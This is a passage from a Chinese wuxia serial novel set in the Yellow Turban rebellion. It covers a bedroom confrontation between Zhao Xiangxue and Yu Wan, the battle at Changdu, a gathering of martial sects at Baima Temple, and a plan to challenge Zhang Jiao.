昭相雪笑了笑,一脸淫荡,直勾勾的盯着于婉,向她走去,于婉一脸茫然,赶紧向后退了几步:“你干嘛,我警告你,我可不是什么轻薄的人。” “哦?那这么晚了,你在我的房里干嘛。”昭相雪一边说着,一边靠近于婉。 “还不是你在那么多人面前说我是你妻子,若我不跟你回来,如何圆谎!” “原来如此,可是,我这里只有一张床啊,你若不介意,咱们今晚,就一起睡吧,和貌若天仙的美女睡在一起,我也不吃亏啊。”昭相雪一边说着,一边逼着于婉往床边退去。 于婉被逼着退至床边,欲要抽剑防守,摸了半天也没摸到,余光一扫,原来,刚才给昭相雪抹药时,那把剑无意之中放在了桌子上,凌云谷有祖训,剑在人在,作为凌云谷的弟子,任何时候都不得放下自己的佩剑,多年来,于婉一直谨遵教诲,剑不离身,如今,却在昭相雪这里翻了水,实在是大意啊! 于婉被逼至床沿,没有长剑只好空手肉搏了,但两人隔得很近,招式身法完全用不上,刚出掌便被昭相雪压了下去。 “怎么,你要对你的相公下杀手?嫁给我,你吃亏了是吗。”昭相雪一边说着,一边用力压倒于婉,将其压到床上躺下,顺势紧紧抓住她的双手。 “昭相雪,你个地痞流氓,你无耻!”于婉一边说着,一边极力挣脱,但两人力量差距明显,哪里反抗得了。“你再乱来,我可要喊人了!” “你喊啊,现在他们都知道咱两是小夫妻,夫妻同床共枕,乃是常举,没什么不妥好吧!你尽管喊!” “昭相雪,你无耻,我杀了你!” “睡个觉而已,又不会少块肉。”昭相雪一边说着一边凑得更近了,几乎快要亲到的距离! 于婉挣脱不开,不敢直视,索性闭上了眼,霎时间,时间反复静止了一般,昭相雪盯着于婉看了许久,微微一笑,自语道:“你和她真像,仔细想想,她应该跟你一样大吧。” 于婉听了这话,目光下扫,发觉自己衣衫凌乱,胸部微微外露,顿时羞红了脸,还以为昭相雪是在说自己的…… “流氓!”当下全身内力汇于掌中,猛力一推,直接将昭相雪震飞五六米远。 昭相雪踉踉跄跄从地上爬起:“我去,男人婆,你来真的啊!” “你才男人婆,是你先乱来的,你活该!” “我开个玩笑嘛,我像是轻薄的人嘛” “你都,你都那样了,还不算啊!我不管,这都是你自找的。”于婉一边说着一边起身欲要出走。 “你干嘛啊,咱们可是夫妻啊,你现在出去,岂不是变相承让咱们之前在说谎!” “那有什么,反正你不是说过嘛,我半夜逃走过,再逃一次,也没什么不妥吧。” 昭相雪立马起身挡在门口:“极其不妥,万一梁将军派人守在外面怎么办,你现在出去,岂不羊入虎口。” “正好啊,他要是派人守着,我正好顺水推舟,照原计划进行,毒死他个老混蛋。” “你别这么幼稚好不好,你那计划根本行不通!” “我的事,不用你管!你给我闪开!”于婉说着便要推开昭相雪。 “你以为我想管啊?我答应过你师兄,在他回来之前,一定保你安然无恙,君子一言驷马难追,除非我死,否则,你别想出去!” “所以,你今天舍命救我,只是在遵守对我师兄的承诺?” “那是自然,若不是先前答应过你师兄,我岂会管你这破事!大仇未报,我的命可金贵着呢!” 听见此话,于婉微微一颤,但很快笑了起来:“那就好,我还生怕你误会了前几天的玩笑话,真把我当妻子了。” “瞧你说的,我有那么蠢嘛,玩笑话还听不出来?是吧夫人!” 于婉嘴角微微一颤,似笑似非。 “好了好了,婉姑娘,我为我先前的鲁莽行为道歉,对不起,你睡床上就好,我打地铺。” 昭相雪取来屏风,将卧床挡住,接着在屏风外铺好床被,烛光不息,两相无言,就此睡下。于婉不知怎的,翻来覆去睡不着,突然好奇起来:“昭相雪,你给我说说你那位故人呗,你说我像她?哪儿像了?” 然而,昭相雪那边如同死去一般,寂静无声。 “昭相雪,你别装了,点着蜡烛你也能睡着?你快起来,给我说说,咱们总共才见过三面,我今天这妆容如此精致,你是怎么认出来的!” 话音刚落,屏风之外有了声响,一阵急促的呼噜声传来,鼾声时长时短,时长时短,宛若浪潮般涌动。 于婉捂住耳朵,大喊道:“吵死了吵死了!别打呼噜了!” 说来也神,鼾声竟渐渐停息。 “你的眼睛真好看,镯子送你好了,别取,就这样,永远戴着吧。” “谁啊?谁在说话。” “这些年,我过得挺好的,你呢?你过得好吗……” 于婉披了件外衣,小心翼翼下了床,警惕起四周,原来是昭相雪在说梦话。 “手镯。”于婉看向自己手腕处,叹息道:“可惜我的幸运手镯忘记带出来了,哎,忘性真大。”话罢,吹灭烛火,卧床睡去。 第十八章 长杜大战(上) 豫州长杜外,黄巾贼营中: “眭固运的粮草怎么还没到。”波才正在对手下发火。 一士兵回道:“报告将军,眭固行至雨谷时,让豫蛇教的人把粮草给劫走了。” “豫蛇教,又是那群不知死活的女匪!” “枯榆!枯榆!”波才朝账外喊道。 枯恂走进账内:“将军,何事?”(枯榆乃是枯恂潜入太平道的化名。) “豫蛇教屡次与我们作对,已经劫走我们两批粮草了。下一批粮,你亲自押送,若有半分闪失,提头来见!”波才对枯恂发令道。 “啊。”枯恂一惊。 波才呵斥道:“啊什么啊,你堂堂一方渠帅,这点小事都办不好?” “知道了,属下必定完成任务。” “这才对嘛,快去。” “属下告退。” 运粮路上,苏起也乔装成黄巾兵跟在队伍里。 “师兄,豫蛇教的若真来劫粮,咱们打还是不打。”枯恂小声问道苏起。 “打,别下死手就是。” 正话间,箭声传来,大量飞箭从两边树林射出。 “有埋伏,大家快找东西格挡。”枯恂一边喊着一边提剑格挡。士兵们乱做一团,有盾牌的赶忙提盾格挡,没盾牌的纷纷躲在运粮车下或者巨石旁边。 一阵箭雨后,杀出百余名手持长剑的女子,将枯恂队伍的去路挡住。 “留下粮草,我可放你们退去。”为首的女子正是豫蛇教的大弟子江雨潇。 枯恂小声对苏起说道:“豫蛇教的弟子都长得这么漂亮的吗?” 细看江雨潇,倒确实是个不可多见的美女。肤色白洁光润,犹若冰玉,双鬓如薄雾,发髻如云彩,俏丽若三春之桃,清素若九秋之菊。说是沉鱼落雁之容,闭月羞花之姿,也不为过。 苏起毫不理会,小声回道:“还没小师妹一半漂亮好吧。” 枯恂摇了摇头笑道:“不如小师妹?算了好吧,你怎么能拿一个女人和一个男人比呢?” 苏起楞了两秒,微微一笑,方才领会其意:“小师妹听了,非得跟你拼命不可。” 江雨潇:“让你们领队的出来答话!” 枯恂走出队列:“这位女子,我们太平道与你们豫蛇教无冤也无仇,你们何故三番两次的劫掠我军军粮,此般行径,与山匪何异。” “呸,黄巾反贼,处处烧杀劫掠,危害百姓,天下人人得而诛之!看剑!”江雨潇也不废话,拔剑直取枯恂。 “且看你有几分能耐。”枯恂笑了笑,提剑与江雨潇打了起来。 莫看江雨潇是女子,武艺剑术丝毫不输枯恂,两人交战十余合,竟是胜负难分。 枯恂笑夸道:“剑术不错嘛,难怪这么嚣张!” “你的剑术也不赖,只可惜是个瞎子,加入黄巾军助纣为虐!”江雨潇毫不客气的讽刺道。 “谁瞎还说不准呢!”枯恂暗指江雨潇误会自己是反贼。 “少废话,看剑”江雨潇提剑又刺去。 两人继续相斗二三十合,又一队黄巾军从远处杀来,江雨潇见状,只得撤去。 江雨潇撤退时,枯恂扔给她一封信:“别走啊,我这儿有封投降书,你们拿回去写好了,我们波帅可以既往不咎,放你们豫蛇教一条生路。” “你做梦!”江雨潇接过信后,立马扔了回来,撤回林中。 枯恂看着江雨潇离开的方向,感叹道:“真美,性子还这么烈!我太喜欢了。”枯恂捡起信,苏起正好凑过来,两人几乎是要贴着脸了,枯恂抬起头,险些亲到一起。 “哎,干嘛呢师兄,我可不好这口。”枯恂慌忙后退两步拉开距离。 “我还问你干嘛呢?这才见了一面,就喜欢上了?我们好歹也算是修仙之人,矜持点好吧!”苏起开玩笑道。 “你管我,你这当大师兄的,怎么爱管闲事啊。”枯恂嘀咕道。 “对了,你把这信交给刚才那位姑娘吧。”枯恂将刚才那封“投降书”递给了苏起。 “好的。”苏起接下书,正要去追,枯恂又拉住他,笑着说道:“如果可以,帮我问问她的芳名啊” “放心,师兄有谱,这事儿我绝不掺和,免得你又说我多管闲事。”苏起笑了笑。 “别啊,大师兄,别啊!该管还得管啊!大师兄!” “我看送信事小,问名事大吧。” 枯恂眨眨眼:“当然是送信事大,问名事小,但,都是事儿嘛!” “好了好了,知道了。”话罢,苏起往树林里追去。 丛林深处,豫蛇教的弟子正徐徐后撤,此战很多弟子都受了伤,所以撤退速度并不算快。 “姑娘留步。”只见一男子从后面追了上来,正是苏起。 江雨潇也认出来了,这人正是刚才站在那渠帅旁边的小兵。江雨潇扫视了下四周,说道:“就你一个人也敢追来!” “你们先撤,我来会会他。” “师姐小心。”话罢,众人缓慢撤去。 “看剑!”江雨潇丝毫不想多纠缠,直接提剑刺去。 苏起毫无战意,剑法轻施,十余合便击退江雨潇,接着轻功一施,和她拉开距离:“切莫动武,我只是来替我们渠帅送信的。”话罢,苏起将那封信丢给了江雨潇。 江雨潇接下信,只见信上赫然写着三个大字‘投降书’:“哼,这封投降书你们还是自己留着吧!”江雨潇说着就又要扔回去。 “且慢,姑娘,这并非投降书,还请姑娘仔细看看。” 听了这话,江雨潇半信半疑,但还是撕开了信,里面放的,竟是黄巾军在长杜的营寨布防图。 “我凭什么相信你!” “就凭这个。”苏起拿出了一块腰牌,上面赫然写着三个大字,三个小字。大字为:‘凌云谷’小子为:‘大长老’,此乃凌云谷创派之初,用北冥玄铁打造的四块腰牌之一,谷主与三大长老各一块,北冥玄铁已然绝迹数百年,且这块腰牌的雕刻手法十分独特。 江雨潇看后大惊。“原来是凌云谷的孤殇长老,晚辈失礼了。” 第十九章 长杜大战(下) 苏起心里一万只骏马奔过,我有这么老吗?还是克制住了,礼貌的说道:“非也,在下是凌云谷的大弟子——苏起。” “额,苏兄好。”江雨潇赶忙改口道,接着仔细看起了黄巾军的布防图。 看得正传神,苏起突然问道:“对了,不知姑娘芳名?”看来,苏起还是没有忘记帮师弟一把啊。 “豫蛇教青菱师太座下大弟子江雨潇。” “原来如此,怪不得武艺如此高强” “过奖过奖,此乃是非之地,还是快些离开吧,苏兄若没事,不如到豫蛇教坐坐。”江雨潇邀请道。 “不了,在下还有事,就此别过。” “那就不耽误苏兄了,保重。” “保重。” 长杜、皇甫嵩军营: 皇甫嵩正在与众将士研究长杜布防。帐外一小兵进到帐来“报告将军,有一个女子求见?” 将士们听闻有女子来了,皆面面相觑,以为是皇甫嵩的夫人来了。 “哪里来的女人?不见!”皇甫嵩硬气的说道。 “那女子说,她有破敌良策。” “单独面见?不会是敌军细作吧。” “一个女子能有什么良策,定是欺世盗名之辈,斩了算了。” 一些将军不屑道。 皇甫嵩道:“军中无戏言,她当真有破敌良策?” 小兵道:“那女的说,若有戏言,愿受一死。” “那好,传她进来!” 片刻后,只见一女子走入帐中,正是江雨潇。 “不知这位姑娘有何妙计?” “将军,我这里有敌军的布防图,他们的营寨一字并排,全安扎在杂草丛中,我认为,可以用火攻。” 皇甫嵩接过图纸,仔细看起来,片刻后问道:“我凭什么相信你,我看,你是敌军的细作吧,来人,给我拿下!”说完,两名侍卫上前抓住江雨潇。 “将军不信大可派斥候去查看敌军的营寨,我若说谎,任凭将军处置。” 皇甫嵩思虑片刻:“带这位姑娘下去休息,好好照顾!”那两个侍卫带着江雨潇退出帅帐。 “派几个斥候出去,给我核对下这图的真伪。” “诺” 许久后,斥候回营。 “如何?” “禀告将军,图是真的。”斥候回报。 皇甫嵩大喜:“好,这下破敌有望了。” 傍晚时分吹起大风,皇甫嵩命士兵手持火把出城,利用黄巾军营寨周围的杂草,用火攻大破敌人,高呼进攻,城上亦举出火把响应,皇甫嵩以鼓助战,冲入敌阵,黄巾军大乱,四处奔走。而此前,京师见皇甫嵩被围,派曹操率军救援。所以,本就慌乱的黄巾军又遇上曹操的援军,当下,被皇甫嵩、朱儁和曹操三面夹击,斩杀数万人,汉军大胜。 冀州: 一只信鸽在城中转悠了许久,最终在一处住宅前停下,一个女子将信鸽抓起,取下信件细细读起,读过之后,将信纸烧毁,接着提起剑往昭相雪住处走去。 “昭兄,这些天,多谢你的照顾。” 昭相雪:“应该的,都是朋友嘛。” “昭兄,我刚才收到了师叔的信件,我该走了,你保重。” “要走了?婉姑娘你不等你师兄了?你要去哪儿?我这人可是一诺千金的,我答应了枯兄要照顾好你,绝不会让你有半点闪失。” “放心吧昭兄,我和二师兄是一起的,我要去的地方,他也会去。” “他不是在长杜嘛,仗打完了?” 于婉笑了笑,提剑上马:“昭相雪,咱们还会再见的,告辞。”话罢,出城而去。 昭相雪自语道:“这就走了?离开冀州也好,天底下,应该没有哪个地方比这儿危险了,走得好,走得好啊!” 长杜: “哇,真的假的?这也太刺激了吧,我差点儿被我自己的情报给害死了。”枯恂对苏起惊叹道。 “都说了叫你这几天注意点儿,非不听,昨晚还偏要和波才喝酒,若不是我,你早就死在乱军之中了。” 原来,昨晚,波才正好大宴将士,枯恂也参加了,本来枯恂没喝多少酒,奈何酒量不行,所以没喝多少便醉了。正巧,半夜时分,皇甫嵩前来夜袭,喝得宁酊大醉的枯恂睡得很安详,若不是苏起将他救出,恐怕他连自己怎么死的都想不明白。 “对了,师傅在信里怎么说?”枯恂问道。 “孤师叔让我们去白马寺汇合,马上要召开武林大会了。”苏起 “这么严重吗?上一次召开武林大会,还是百年前五大门派围攻魔教无冥的事吧。”枯恂 “当年魔教最鼎盛时也不过两千余教众耳,如今这太平道已有几十万教徒了!你说严不严重。” “嗯,说得也是”枯恂点点头。 司州、白马寺 两个老人坐在一竹亭中:其中一人着灰色道袍,胡须轻摆,似有仙气,乃凌云谷大长老,孤殇,另一人,面慈心善,清瘦温雅,乃白马寺住持:沧海一粟。 沧海:“孤殇大师,召集令我已然发给各派,来的都是高手,快马加鞭,住的近的,估计两日后便能到,慢点的,估计要一周后。” 孤殇点点头:“哎,有劳沧海方丈了,我凌云谷一派无能,拖累了整个武林,罪过,罪过。” 沧海:“孤殇大师为何如此自责?” “哎,沧海方丈,你我相识二十余年了,我也不瞒你了,这事,实在是凌云谷不察啊!” “十六年前,胡啸师弟云游豫州,意外发现凌空剑法踪迹,因为师弟对凌空剑法了解较少,于是我便前往豫州助其调查,恰逢此时,一伙贼人潜入凌云谷,谷主闭关,于吉师弟贪杯大醉,凌云密阁因此失窃,谷中秘术《太平经》落入盗匪手中。” 沧海大惊:“凌云谷迁置益州后,一向不问世事,立于群山之上迷雾之间,除了凌云谷的人,谁也不知道凌云谷的具体位置,那伙盗贼如何得知的。” 孤殇摇摇头:“许是机缘巧合吧,哎,也怪咱们马虎大意。” 沧海仍是不解:“凌云密阁可是用泰山玄铁打造,非化境以上,绝不能破,且钥匙只有一把,听说一直由谷主随身携带,那盗贼怎会进得了凌云密阁?难不成钥匙被偷了?” 孤殇叹息数声:“钥匙没被偷,哎,失察啊。” 沧海突然想到一个人,试探道:“青翼派—司寇箫?” 孤殇默默点了点头。 …… 第二十章 武林大会 十六年前,胡啸长老、孤殇长老因故外出,谷主只有四人,谷主谷月清正在闭关修炼,三长老于吉从洛阳回来,偷带了两坛杜康,一时贪了几十杯,喝得伶仃大醉,此时苏起、枯恂已拜入门下,但他们都还年幼,功力尚浅,夜晚,司寇箫带着两个贼人潜入凌云密阁,凭借其手中的北冥神匙将密阁打开。 苏起提剑阻拦,被贼人施毒功打倒,贼人见事迹败露,不敢久留,摸黑退下。枯恂半夜起来发现苏起倒地后,方知变故,慌忙摇醒于吉,下山追贼。 但贼人早已走远,万幸于吉轻功了得,追了一天,在一处荒村追上三个盗匪,除司寇箫重伤逃离外,另外两个盗匪当场毙命,乃是青翼派五散人之二,青客张吉,玄甲王延。 于吉继续追查,最终在一破庙外一里处发现司寇箫尸体,周围还躺着数十具官军尸体,于吉仔细搜查现场,并未找出半点线索,只好返回谷去。 事后清查,凌云谷丢了三件秘宝:《太平经》、《太平清领书》、黑铁盒。 经此一乱,谷月清提前出关,胡啸、孤殇返回谷中,于吉负责追查官府那边的线索,孤殇则负责调查青翼派等江湖盗匪的线索,久查无果,直到,太平道崛起。 几日前,孤殇前往冀州,本欲试探张梁功法,不料路上巧遇了地公将军张宝,两人相斗二十余合,竟是胜负难分!孤殇确认其使用功法乃《太平经》后,不敢久留,卖个破绽退去,毕竟冀州太平道盛行,久战必失。 如今,谷月清闭关参悟高阶功法防备魔教入侵,胡啸留守照看凌云密阁。所以,此次消灭太平道只派出了于吉、孤殇,以及三位年轻弟子,凌云谷只五人面对几十万信众的太平道,实在是无能为力,万般无奈只好求助江湖各派共渡难关。 几天后,司州,白马寺: “沧海师傅,多年不见,你看起来,是一点儿也没见老啊!”一中年人带着他的夫人走进寺庙对白马寺住持沧海方丈行礼道。 白马寺,创建于东汉永平十一年(公元68年),中国第一古刹,世界着名伽蓝,是佛教传入中国后兴建的第一座官办寺院,有中国佛教的“祖庭”和“释源”之称。 是由印度高僧摄摩腾、竺法兰所创,因为他们是用白马从印度驮经至洛阳,故取名“白马寺”。此时的白马寺住持,沧海方丈,虚岁六十,胡须全白,皮肤干黄枯老,不过人还是很精神的,手持禅杖,身披袈裟,气度不凡。 “哈哈,原来是彧儿来了,多年不见,你倒是老了很多啊。”沧海方丈说笑道。 “沧海师傅还是这样,净爱说些大实话。”一旁的夫人也说笑起来。 “出家人,不打诳语嘛。”沧海师傅大笑起来。 原来,这位中年人乃是空涧庄的庄主蔡彧,一身白色长衫,虽已是四十岁,但长得还算清秀,曾经是白马寺沧海一粟座下二弟子。而他的夫人则是豫蛇教灵源师太座下大弟子、林奕湘,当年,豫蛇教与白马寺关系恶劣,而他们的弟子蔡彧和林奕湘却因为机缘结识,最后相恋。两派掌门都极力反对两人喜结连理,但他们并没有因此妥协,最后一起私奔,来到了空涧山,创立了空涧庄,接着,更是创立了一门新的武学——琴音功,据说,听到他们弹琴的人,会心神不灵,失去行动力。近年来,豫蛇教换了新庵主,与白马寺的关系逐渐缓和,所以两派也逐渐认可了这门亲事。 “咱们虽曾是师徒一场,不过今日大会,为免他人说闲话,还是以门派相称吧,蔡庄主。”沧海方丈作揖道。 “是,沧海方丈。” “嗯,快里面请吧。” 蔡彧走进殿内,殿内早已坐满了各大派,熙熙攘攘的吵闹着。 蔡彧找到空位,和夫人坐下,孤殇长老朝这边端起酒杯问好,蔡彧与夫人也端起酒杯隔空对饮了一杯。 只见大殿之内,除了主位白马寺外,分布着八方客席,分别是:凌云谷、空涧庄、豫蛇教、赤影帮、青龙帮、剑阁、百药宗。其中百药宗占了两方客席。这百药宗是由蜀地山民杜悬所创,本意是采集山药,救济山民。杜悬死后,大弟子杜济继任门主,十年后,百药宗门徒因理念不合,一分为二,大弟子杜济主张救济山民,发展医术。二弟子杜冥则主张发展毒术,让百药宗成为武林大派。双方为夺正牌宗主之位,水火不容。所以,百药宗占了两方客席,药门杜济一方,毒门杜冥一方。 再说说这这赤影帮,赤影帮前身是西凉马帮,以洗劫过往商贾为生,后来马帮痛改前非,投靠了朝廷,并赠予朝廷两匹好马赤兔、绝影,朝廷遂赐名为赤影帮。因办事不利、理念不合,在帝京待了不到一年便又回到西凉,后来成为西凉第一大帮,善骑术,精枪法,现任帮主仍是张延。 而空涧庄前面也说过了,该派由白马寺一弟子与豫蛇教一弟子,因机缘巧合之下所创,主要以琴音为武器,当然,也兼有一些白马寺拳法和豫蛇教指法等。 下面再来说说这青龙帮,延熹年间,徐州有一个叫关伟的镖头,有一天晚上,他在河边小解时,竟看见一条青龙在河中游动,青龙看见这位镖头后立刻从水中窜出,直上九天,朝月亮飞去,青龙走后,关伟意外发现地上竟残留了一片龙鳞,由于鳞片坚硬无比,关伟遂叫人打造为一柄长刀,取名为青龙偃月刀。后又受青龙在水中游泳的身法所指引,创立了一套游龙刀法,威力巨大。接着,关伟将镖局改为武馆,取名为青龙帮,广收门徒,受此传说吸引,大批门徒专程前来加入青龙帮,只为一窥青龙偃月刀的真容,青龙帮也因此很快成为徐州第一大帮。 当下八方座席已坐了了六方,除了豫蛇教和剑阁的人还没到,其他的都来了,当然,江湖上的帮派远不止这些,只是名望较大的就这几个,而甘宁的锦帆派和公孙皓的幽狼派,虽也是江湖大帮,但因欺压百姓,危害一方,所以并不在邀请之列,而一些小的帮派,帮不上什么大忙,请来也无益。 一小僧小声对寺门口的沧海一粟说道:“方丈,剑阁的弟子来信,说他们阁主临时有事儿,来不了了。” “剑阁?也罢,豫蛇教呢?”方丈问道。 “快到了。” “嗯”方丈点点头。 剑阁由前朝秦军败将章平所创,当年刘邦出关与三秦军队交战,三秦败亡,秦将章平被汉军所俘,刘邦一统天下后,章平被放,因为他哥章邯于秦人有罪,于是不敢留在中原,遂至蜀地,与秦朝旧民和蜀地山民一起创立了剑阁,现任阁主:章玄。 三十一年前,豫蛇教慧恩师太被神秘剑客削去八指,内功尽散,暴毙荒野,据听风阁调查,凶手的剑法出自剑阁,正巧,那段时间,时任剑阁阁主章云外出,两个月未归,完全有作案时间,但章云极力否认,杀掉惠恩师太,对自己毫无益处,他没有杀人动机,但章云解释不清,为何凶手的剑法会出自剑阁,同样解释不清的是,这两个月,章云究竟去了何处! 反正,自此,剑阁与豫蛇教结怨,任何活动,有豫蛇教便没有剑阁,有剑阁,便没有豫蛇教。(二十一年前,章云暴毙,其子章玄继任剑阁阁主) 这时,只见豫蛇教的弟子上了山。 “青菱师太,一路舟车劳顿,辛苦了!要不要先休息一下。” “方丈说笑了,都是江湖人,哪有这么娇贵,直接说正事吧。” “好。”沧海方丈走在前面领着豫蛇教的人进入大殿。 豫蛇教:相传,西汉时期,豫州有位佳人,名叫林琬,她与丈夫在前往青州探亲时遭遇劫匪,丈夫被乱刀砍死,她则被劫匪奸淫,家财也悉数被抢。林琬无心苟活于世,遂跳崖自尽,但世事弄人,跳崖后,林琬全身骨骼断裂,昏死过去,却被一条有灵气的白蛇救醒。 一周后,林琬的身体奇迹般痊愈了,并且比以前更加柔软,她与白蛇相处了一个月后,竟悟出一套极其诡谲的武学,取其名曰:《白菱神功》,凭着神功,她回到豫州建立了豫蛇教,以收留各地不幸的妇女,同时教这些妇女武功,积极报复豫州的匪盗,豫州一度无匪敢来。 当年,林琬的那身白菱神功可谓打遍江湖无敌手,豫蛇教也一度成为天下第一大派,但可惜的是,那神秘的功法对身体的柔韧性要求极高,除了身体极为柔软的林琬能使用全力外,后世弟子皆只能学得皮毛,一些不信命的弟子强行修炼,竟导致她们身体的骨骼错位,静脉断裂,最终不治身亡。于是,林琬一死,豫蛇教便自此没落,逐渐成为不入流的二等门派,《白菱神功》更是自此失传。 现任教主:青菱师太(十六年前,灵源师太退位,年仅二十八岁的青菱师太继任,但青菱师太并非灵源师太弟子,亦非惠恩师太弟子,关于青菱师太的来历,江湖上无人知晓,许多豫蛇教众亦不知晓,不过,豫蛇教的教众都很拥戴她。) 第二十一章 结盟 进殿路上,青菱师太在后面小声问了一句:“凌云谷的人来了吗?” 沧海方丈回头说道:“当然啊,孤殇长老和于吉长老就在里面等着呢?” “就只来了两个?” “说是谷月清尚在闭关练功,胡啸长老在给他护法,所以来不了。”沧海方丈解释道。 “哦哦,原来如此。”青菱师太似乎还想打听其他人,但欲言又止,没再细问下去。 “方丈好。”看见沧海进来了,大殿上的争论声逐渐停止,青菱师太找到空位坐下。江雨潇站在教主旁边,向周围扫了一圈,发现一男子正看着自己,再一细看,这不正是那天那个“渠帅”嘛,没错,正是枯恂,枯恂满脸和善,朝江雨潇眨眨眼,江雨潇却没好脸色,一脸不屑,完全没了他。 “各位,想必黄巾贼四起的情况,大家都已有所了解了,我等皆为汉民,又多受朝廷恩惠,当尽心竭力,替百姓除害才是!”主位之上,沧海方丈说道。 “除害?你说得轻巧,黄巾贼党声势浩大,光青州一处,就有不下二十万,如何除?”说这话的,乃是青龙帮帮主关伟。 “是啊,太平道教徒分布世间各地,若聚在一起,怕是不下百万,我等势单力薄,又能拿他们怎样?”百药宗毒门杜冥。 “黄巾贼虽有百万,也不过是乌合之众罢了,前些日子,豫蛇教的人不是刚协助长杜官兵,击败了几万黄巾贼吗?”空涧庄庄主蔡彧。 青菱师太笑了笑,谦虚道:“区区小事,不值一提。” 青菱师太本是谦虚,却被赤影帮的误会成自大。只见赤影帮一人呛道:“杀退了几万人还只是小事,青菱师太的意思是杀几十万人也不难是吧?”呛话者,乃赤影帮二把手韦凌峰。 青菱师太一向以谦逊讲理享誉江湖,但此刻对韦凌峰,却是满脸不屑:“掌门议事,哪轮得到你插嘴。” 韦凌峰笑了笑,指了指凌云谷方向,反驳道:“怎么的,不是掌门就不能说话了?那他们凌云谷的,掌门都没来,是岂不是不配参加这次会议!” 青菱师太:“凌云谷以扶危救困为己任,屹立江湖数百年了,你们马帮烧杀劫掠为生,启配与凌云谷比?” 赤影帮主张延起身发话道:“师太,此话可就有失偏颇了,我赤影帮在西凉劫的是奸商,杀的是贪官,我自认为,不比凌云谷差!” 青菱师太冷哼一声:“这些年,你们赤影帮确实做了几件好事,但这绝不足以抹除你们以前助纣为虐的暴行!” 韦凌峰:“青菱师太,咱们说话可得讲究证据,什么暴行?话说清楚!” 戾气渐重,凌云谷于婉解围道:“青菱师太、张帮主,如今太平道声势浩大,咱们可万万不能内讧啊,大会本就是畅所欲言嘛,何必因为身份不高,而限制其言语,当广纳四方之策,取良破敌嘛!” “就是。”一些人附和道。 青菱师太盯着于婉,看了许久,问道:“这位姑娘能言善辩,想必就是凌云谷四弟子于婉吧。” “正是晚辈。”于婉心头一颤,以为青菱师太马上要骂自己冒失了,不料师太却端起一杯茶朝自己敬来。 于婉大惊,赶紧端起杯茶,敬了回去。 两人喝过茶后,青菱师太神色竟平和了些:“刚才是我言语有失,我自罚一杯,给各位赔礼了。”青菱师太往一个空杯子里倒满了酒,一饮而尽。事实上,青菱师太并非有身份之见,只是恰好,她与赤影帮、与韦凌峰有些旧仇。 沧海方丈:“好,青菱师太果然性情中人,这次大会,不论身份,大家畅所欲言,只要有破敌良策,但说无妨!” “沧海方丈,在下倒是有个想法,不知算不算得上良策。”枯恂走出来说道。 “年轻人,但说无妨。”沧海方丈示意道。 枯恂清了清嗓子,看了看那边的江雨潇:“这太平道门徒虽有几十万,但那张角总不能随时带在身边吧,俗话说得好,射人先射马,擒贼先擒王。咱们不妨组建一支精锐之师,偷偷潜入冀州,直接与那匪首张角一对高下,打败了张角,余党自然不攻自破。” 众人听后小声议论起来。 “暗杀张角?这般行径,岂不是和幽狼派的作风一样了,到时候,天下人岂不耻笑我等。”青龙帮关伟。 “此言差矣,我们这样做也实属无奈,况且,我们正是为了天下百姓才这样做的,他们感恩还来不及,又怎会耻笑我们呢?”赤影帮张延 “哼,是男人就该真刀真枪的干,暗杀算什么本事。”青龙帮关伟满身怒气说道。 枯恂:“关帮主,误会了,我们并非是去冀州暗杀张角,相反我们潜入冀州,乃是与张角直接决斗,这样做,不过是为了免去大规模战争,少牵扯一些无辜之人罢了。” “是啊,难不成,关帮主是打算让青龙帮的弟子直接与那太平道的几十万人打?这样做,黄巾乱贼未平,青龙帮怕是早没了。”江雨潇居然也帮枯恂说话道。枯恂见此情景,嘴角不觉上扬,傻笑起来。江雨潇说完,也不自觉的看了枯恂一眼,枯恂立马收敛笑容,假装正经。 江雨潇话音刚落,青菱师太便在一旁小声提醒道:“潇儿,不得无礼。” “是,师傅。” 听了江雨潇的话,关伟陷入沉思,喝了口茶,不再说话。 “各位,你们觉得此计如何?有没有什么不妥?”沧海方丈问道,众人也不回答,互相小声议论着。 片刻后,赤影帮的张延说话道:“方丈,我们赤影帮觉得没问题,可行。” “我们空涧庄也觉得可行。” …… 最后,各派基本赞成,又讨论起其他备案。 “好,今日会议就到此结束吧,我们白马寺已为贵派们安排了住处,大家好好休息一天,明天再安排具体行动方案。”沧海方丈。 次日,司州,白马寺 各派精锐人马集结完毕,人马分两部分,一部分走在前面先行前往冀州打探消息,主力部队则紧随其后。 冀州 自那日夺妻风波后,张梁数次找茬,皆被昭相雪巧妙化解,一来二去,张梁竟莫名高看了昭相雪两眼,一番细谈后,更是折服于他的文韬,钦佩起他的武略,欲要保举他为黄巾军军师! “昭兄,大事不好了啊。”张梁慌慌张张跑了进来。 “梁将军,何事慌张啊?”正在看兵书的昭相雪一脸懵逼。 “南阳太守秦颉斩杀了张曼成,现在赵弘为帅,以十多万人退守宛城,汉兵将宛城团团围住,如今,宛城的兄弟是进退两难啊!”张梁焦急的说道。 “梁将军勿急,这几日,我亦在昼夜研究宛城战事,方才我已寻得破敌良策。只需三万人马,我定能解宛城之围。” “三万,昭兄切莫大意,我给你五万人,烦请你务必解去宛城之围。”张梁欣喜道。 “梁将军,兵不在多,而在精,我只要三万精兵足矣,宛城周边地势险峻,丛林密布,人多了,倒还不便行动。”昭相雪一顿胡乱分析,其实就是怕带的人多了,官兵望风而逃,届时,还真把仗给打赢了。 张梁听后先是一愣,接着笑道:“好,想不到昭兄对宛城地形如此了解,那宛城之危就全靠昭兄化解了。好好休息,三日后出发。” “好,梁将军放心,属下这次必大破汉军。”昭相雪内心一阵窃喜,瞧好了,这次,我非得把宛城的黄巾守军全给霍霍了。 第二十二章 如鱼得水?! 三日后: 先头部队一路上小心翼翼,扮做难民,行至冀州外,并没有引起黄巾军的注意,突然,马蹄声四起,众人料是黄巾军来了,皆往两边山林里躲去。这队黄巾军不是别人,正是昭相雪率领的精锐部队。 “这批军队与以往见过的都不同,个个精壮的很,不会是黄巾军的主力吧。”枯恂对江雨潇说道。 “主力?那为首岂不是张角?”江雨潇指着前面那个骑马的将军说道。 “就算这支部队是主力,前面那个也不可能是张角,你们看,后面那个。”苏起指了指黄巾军后面的一个将士。只见那个将士穿着的铠甲甚是紧密,比为首那个霸气的多,谁能想到,这个被误认为是张角的冤大头不是别人,正是昭相雪,这身霸气的行头乃是张梁专门送给他保身的。 “他就是张角?那咱们可不能让他给跑了。”江雨潇说着便要去抓他。 后面的蔡彧一把拉住:“你干嘛,咱们这才十几个人,他可是有几万精锐的,你拿什么抓他。” “可是,他要是真跑了,那我们的计划岂不是泡汤了。”江雨潇说道。 